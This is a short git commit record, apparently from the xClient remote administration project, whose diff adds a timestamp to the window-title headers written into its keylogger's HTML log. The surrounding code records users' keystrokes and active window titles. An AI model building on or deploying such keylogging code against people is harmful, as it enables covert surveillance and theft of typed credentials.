Merge pull request #196 from d3agle/master

[Keylogger] Add time to Window Title #195
This commit is contained in:
MaxXor 2015-05-25 13:49:15 +02:00
commit 96f0d1c2ef
1 changed files with 4 additions and 1 deletions

View File

@ -97,7 +97,10 @@ namespace xClient.Core.Keylogger
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
{
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" + activeWindowTitle + "</b>]</p><br>");
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
+ activeWindowTitle + " - "
+ DateTime.Now.ToString("HH:mm")
+ "</b>]</p><br>");
}
if (_pressedKeys.IsModifierKeysSet())